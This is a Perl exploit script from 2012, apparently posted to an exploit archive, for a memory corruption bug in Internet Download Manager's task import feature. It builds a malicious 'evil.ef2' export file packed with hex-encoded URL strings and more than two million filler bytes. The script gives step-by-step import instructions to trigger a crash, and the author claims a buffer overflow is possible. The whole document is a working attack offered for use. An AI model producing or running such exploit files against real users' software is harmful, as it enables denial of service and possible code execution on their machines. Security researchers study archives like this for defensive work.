Internet Download Manager – Memory Corruption
#!/usr/bin/perl # 1 ========================================== 1 # 0 I'm Dark-Puzzle From Inj3ct0r TEAM 0 # 0 1 # 1 dark-puzzle[at]live[at]fr 0 # 0 ========================================== 1 # 1 White Hat 1 # 0 Independant Pentester 0 # 1 exploit coder/bug researcher 0 # 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1 # Title : Internet Download Manager All Versions - Memory Corruption Vulnerability . # Author : Dark-Puzzle (Souhail Hammou) # Type : Local # Risk : Critical # Vendor : Tonec Inc. # Versions : All versions supporting the IDM file importation are Vulnerable . # Tested On : Windows XP Service Pack 2 FR 32-bits , Windows 7 FR 64-bits # Date : 31 August 2012 # Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ... #Vulnerability Details : Work your skills & imagination . #Usage : Copy this script to memorycorruption.pl #Execute : perl memorycorruption.pl #Howto : Go to Tasks ---> Import ---> From IDM export file ---> evil.ef2 (executing file as .eif may also work ) # Taches --> Importer -> Depuis un fichier IDM ---> evil.ef2 my $hd = "\x3c\n"; my $ed = "\x3e\n"; my $ht = "\x68\x74\x74\x70\x3a\x2f\x2f"; my $lk = "\x77\x77\x77\x2e\x31\x33\x33\x37\x64\x61\x79\x2e\x63\x6f\x6d\x2f\x65\x78\x70\x6c\x6f\x69\x74\x73\x2f\x31\x39\x32\x31\x31\n"; my $fake ="\x2e\x63\x6f\x6d\x2f\x64\x61\x72\x6b\x70\x75\x7a\x7a\x6c\x65\x2e\x74\x78\x74\n"; my $txt = "\x41" x 2000000; my $stx = "\x42" x 400000 ; my $null = "\x00\x00"; # Not Necessary , but maybe more effective . # Sorry Script Kiddies ... # BOF is possible and every failed attempt will cause a Denial of Service Vulnerability . my $file = "evil.ef2"; open ($File, ">$file"); print $File $hd.$ht.$lk.$ed.$hd.$ht.$txt.$stx.$fake.$ed; close ($File); print " Exploit By Dark-Puzzle \n" ; print " Creating Evil File , Please Wait ...\n\n\n"; sleep (5); print " Evil File Created Successfully , Happy Hunting :)\n"; # Datasec Team . |